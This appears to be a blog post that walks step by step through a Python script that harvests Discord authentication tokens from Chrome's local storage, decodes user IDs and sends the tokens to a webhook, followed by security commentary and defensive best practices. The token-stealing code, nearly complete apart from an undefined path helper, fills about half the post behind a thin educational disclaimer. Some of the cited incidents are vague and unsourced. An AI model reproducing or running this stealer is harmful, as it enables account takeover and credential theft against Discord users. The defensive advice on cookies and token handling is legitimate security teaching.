How Safe Is Accessing Discord Through Chrome?

ManishManish
9 min read

Understanding Discord Token Extraction: A Deep Dive into Browser Storage Security

In this technical blog post, we'll explore how Discord authentication tokens are stored in web browsers and how they can be extracted. This is an important security topic that demonstrates why proper token handling is crucial in web applications.

Disclaimer: This post is for educational purposes only. Unauthorized access to Discord accounts violates Discord's Terms of Service and may be illegal. Always obtain proper authorization before testing security measures.

The Code Overview

"""
This script scans Chrome's local storage for Discord authentication tokens and sends them
to a specified webhook. It's designed for educational purposes to demonstrate security
vulnerabilities in token storage.
"""

import base64
import json
import logging
import os
import re
import sys
import urllib.request
from pathlib import Path
from typing import Dict, List, Optional, Set, Union

1. Import Statements

  • base64: Used for decoding the base64-encoded user ID portion of Discord tokens

  • json: Handles JSON serialization of data for webhook requests

  • logging: Provides structured logging for debugging and monitoring

  • os: Used for accessing environment variables and path operations

  • re: Regular expressions for token pattern matching

  • sys: System-specific parameters and functions

  • urllib.request: Makes HTTP requests to Discord's webhook

  • pathlib: Object-oriented filesystem paths

  • typing: Type hints for better code documentation and IDE support

2. Logging Configuration

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[logging.StreamHandler(sys.stderr)]
)
logger = logging.getLogger(__name__)

This sets up a basic logging configuration that:

  • Sets the logging level to INFO

  • Formats log messages with timestamp, log level, and the message

  • Outputs logs to stderr

  • Creates a logger instance for the current module

3. Constants

# Constants
DISCORD_TOKEN_PATTERN = r"[\w-]{24,26}\.[\w-]{6}\.[\w-]{34,38}"  # noqa: S105
REQUEST_HEADERS = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11",
}
WEBHOOK_URL = "YOUR_WEBHOOK_URL_HERE"  # Replace with your actual webhook URL
  • DISCORD_TOKEN_PATTERN: Regex pattern matching Discord token format

    • First part: 24-26 alphanumeric characters, hyphens, or underscores

    • Second part: 6 alphanumeric characters, hyphens, or underscores

    • Third part: 34-38 alphanumeric characters, hyphens, or underscores

  • REQUEST_HEADERS: HTTP headers for webhook requests

  • WEBHOOK_URL: The Discord webhook URL where tokens will be sent

4. Token Extraction Functions

4.1 extract_tokens_from_file

def extract_tokens_from_file(file_path: Path) -> Optional[List[str]]:
    """Extract potential Discord tokens from a file."""
    try:
        file_contents = file_path.read_text(encoding="utf-8", errors="ignore")
        return re.findall(DISCORD_TOKEN_PATTERN, file_contents) or None
    except (PermissionError, OSError) as e:
        logger.warning(f"Could not read file {file_path}: {e}")
        return None

This function:

  1. Takes a file path as input

  2. Attempts to read the file's contents with UTF-8 encoding

  3. Uses regex to find all potential Discord tokens

  4. Returns a list of tokens or None if an error occurs

4.2 extract_user_id_from_token

def extract_user_id_from_token(token: str) -> Optional[str]:
    """Extract and validate a user ID from a potential Discord token."""
    try:
        encoded_user_id = token.split(".", maxsplit=1)[0]
        padding_needed = len(encoded_user_id) % 4
        if padding_needed:
            encoded_user_id += "=" * (4 - padding_needed)
        decoded_bytes = base64.b64decode(encoded_user_id, validate=True)
        return decoded_bytes.decode('utf-8')
    except (ValueError, UnicodeDecodeError) as e:
        logger.debug(f"Invalid token format or decoding failed: {e}")
        return None

This function:

  1. Takes a potential Discord token

  2. Extracts the first part (before the first dot)

  3. Adds proper Base64 padding if needed

  4. Decodes the Base64 string to get the user ID

  5. Returns the user ID if valid, None otherwise

5. Core Functionality

5.1 find_discord_tokens

def find_discord_tokens(storage_path: Path) -> Optional[Dict[str, Set[str]]]:
    """Search for Discord tokens in the specified directory."""
    if not storage_path.exists() or not storage_path.is_dir():
        logger.error(f"Directory not found: {storage_path}")
        return None

    user_tokens: Dict[str, Set[str]] = {}
    processed_files = 0
    found_tokens = 0

    try:
        for file_path in storage_path.iterdir():
            if not file_path.is_file():
                continue

            potential_tokens = extract_tokens_from_file(file_path)
            if not potential_tokens:
                continue

            processed_files += 1
            found_tokens += len(potential_tokens)

            for token in potential_tokens:
                user_id = extract_user_id_from_token(token)
                if user_id:
                    user_tokens.setdefault(user_id, set()).add(token)

        logger.info(f"Processed {processed_files} files, found {found_tokens} potential tokens")
        return user_tokens if user_tokens else None

    except Exception as e:
        logger.error(f"Error processing directory {storage_path}: {e}")
        return None

This function:

  1. Takes a directory path where Chrome stores its local storage

  2. Iterates through all files in the directory

  3. Extracts potential tokens from each file

  4. Validates tokens and organizes them by user ID

  5. Returns a dictionary mapping user IDs to sets of their tokens

6. Webhook Reporting

6.1 report_tokens

def report_tokens(webhook_url: str, user_tokens: Dict[str, Set[str]]) -> None:
    """Send discovered tokens to a Discord webhook."""
    if not user_tokens:
        logger.warning("No valid tokens found to report")
        return

    fields = [
        {"name": f"User ID: {user_id}", "value": f"```\n{chr(10).join(tokens)}\n```"}
        for user_id, tokens in user_tokens.items()
    ]

    payload = {
        "content": "⚠️ **Discord Tokens Discovered** ⚠️",
        "embeds": [{
            "title": "Potential Security Issue",
            "description": "The following Discord authentication tokens were found in local storage:",
            "color": 15158332,  # Red color
            "fields": fields,
            "footer": {"text": "Generated by Discord Token Scanner"},
            "timestamp": None
        }]
    }

    try:
        status_code = make_post_request(webhook_url, payload)
        if status_code == 200:
            logger.info("Successfully reported tokens to webhook")
        else:
            logger.warning(f"Webhook returned status code: {status_code}")
    except Exception as e:
        logger.error(f"Failed to send tokens to webhook: {e}")

This function:

  1. Takes a webhook URL and a dictionary of user tokens

  2. Formats the tokens into a Discord embed message

  3. Sends the message to the specified webhook

  4. Handles success and error cases with appropriate logging

7. Main Execution

def main() -> None:
    # Get Chrome's local storage path based on OS
    chrome_path = get_chrome_storage_path()
    if not chrome_path:
        logger.error("Could not determine Chrome storage path for this OS")
        return

    # Find and process tokens
    tokens = find_discord_tokens(chrome_path)
    if not tokens:
        logger.info("No Discord tokens found")
        return

    # Report found tokens
    report_tokens(WEBHOOK_URL, tokens)


if __name__ == "__main__":
    main()

The main function:

  1. Determines the Chrome storage path based on the operating system

  2. Searches for Discord tokens in the storage

  3. Reports any found tokens to the configured webhook

Security Implications: Real-World Impact

This code demonstrates critical security vulnerabilities that have led to real-world incidents. Understanding these implications is crucial for both developers and users.

  1. Token Storage Vulnerabilities

    • Real-World Example: In 2021, a popular Discord bot had its tokens exposed when developers accidentally committed them to a public GitHub repository. Attackers used these tokens to take control of the bot, sending malicious links to thousands of servers.

    • Technical Insight: The code shows how easily tokens can be extracted from browser storage. Unlike cookies with the HttpOnly flag, tokens in local storage are accessible to any JavaScript running on the page.

    • Impact: Compromised tokens can lead to account takeovers, data breaches, and in Discord's case, potential access to private servers and direct messages.

  2. Predictable Token Patterns

    • Real-World Example: In 2020, a security researcher discovered that many applications were using a predictable pattern for generating tokens, allowing attackers to guess valid tokens through brute force.

    • Technical Insight: The DISCORD_TOKEN_PATTERN regex demonstrates how tokens can be identified even in large text dumps. The three-part structure (user ID, timestamp, HMAC) is consistent and identifiable.

    • Impact: Predictable patterns make it easier for attackers to identify and extract tokens from logs, memory dumps, or network traffic.

  3. User ID Exposure

    • Real-World Example: In 2019, a vulnerability in a popular social media app allowed attackers to link anonymous posts to real user accounts by decoding the first part of access tokens.

    • Technical Insight: The extract_user_id_from_token function shows how the first segment of a JWT (JSON Web Token) often contains the user ID in base64-encoded format. This can be decoded to identify the account owner.

    • Impact: Even if the full token isn't compromised, exposing user IDs can lead to privacy violations and targeted attacks.

  4. Webhook Security Risks

    • Real-World Example: In 2022, a company's internal monitoring system was compromised when attackers discovered a webhook URL in client-side JavaScript, allowing them to inject malicious data into the company's monitoring dashboard.

    • Technical Insight: The report_tokens function sends sensitive data to a webhook. If this URL is exposed in client-side code, attackers could intercept or manipulate the data flow.

    • Impact: Compromised webhooks can lead to data exfiltration, denial of service, or injection attacks.

Best Practices: Practical Implementation

For Application Developers

  1. Secure Token Storage

    • Implementation: Use HttpOnly and Secure cookies with the SameSite attribute for authentication tokens.

    • Example: A banking application should store session tokens in HttpOnly cookies to prevent XSS attacks from stealing authentication data.

    • Code Suggestion:

        // Secure cookie settings in Express.js
        res.cookie('session', token, {
          httpOnly: true,
          secure: true,
          sameSite: 'strict',
          maxAge: 1000 * 60 * 60 * 24 // 24 hours
        });
      
  2. Token Management

    • Implementation: Implement short-lived access tokens with refresh token rotation.

    • Example: A healthcare application could use 15-minute access tokens with 7-day refresh tokens, automatically revoking any tokens that haven't been used within 24 hours.

    • Benefit: Limits the damage if a token is compromised and makes token theft more difficult.

  3. Input Sanitization

    • Implementation: Validate and sanitize all user inputs, especially those used in database queries or file operations.

    • Example: A forum platform should sanitize user posts to prevent XSS attacks that could steal tokens from other users' browsers.

For End Users

  1. Browser Security

    • Action: Use browser extensions like uBlock Origin to block malicious scripts that might try to steal tokens.

    • Example: A malicious advertisement on a compromised website could contain JavaScript that scans the page for Discord tokens and sends them to an attacker's server.

  2. Account Security

    • Action: Enable two-factor authentication (2FA) on all important accounts.

    • Real Incident: In 2021, several high-profile Twitter accounts were compromised because the owners hadn't enabled 2FA, allowing attackers to take over accounts with just a password.

  3. Application Permissions

    • Action: Regularly review and revoke unnecessary OAuth permissions.

    • Example: A weather app that requests access to your Discord messages is likely overreaching and could be collecting more data than necessary.

For Security Researchers

  1. Responsible Disclosure

    • Process: When finding vulnerabilities, follow these steps:

      1. Document the issue with clear reproduction steps

      2. Contact the organization's security team (look for a security.txt file or security@ email)

      3. Allow reasonable time for the issue to be fixed before public disclosure

    • Example: The security researcher who discovered the Heartbleed vulnerability in OpenSSL followed responsible disclosure practices, notifying maintainers before making the issue public.

  2. Safe Testing Environment

    • Setup: Create isolated test accounts and environments for security testing.

    • Example: When testing Discord bot permissions, create a private server with test accounts rather than using production servers with real users.

Conclusion

This exploration of Discord token extraction highlights the importance of secure token handling in web applications. By understanding how tokens can be extracted, developers can implement better security measures to protect user accounts.

Remember: With great power comes great responsibility. Always use this knowledge ethically and legally.

0
Subscribe to my newsletter

Read articles from Manish directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Manish
Manish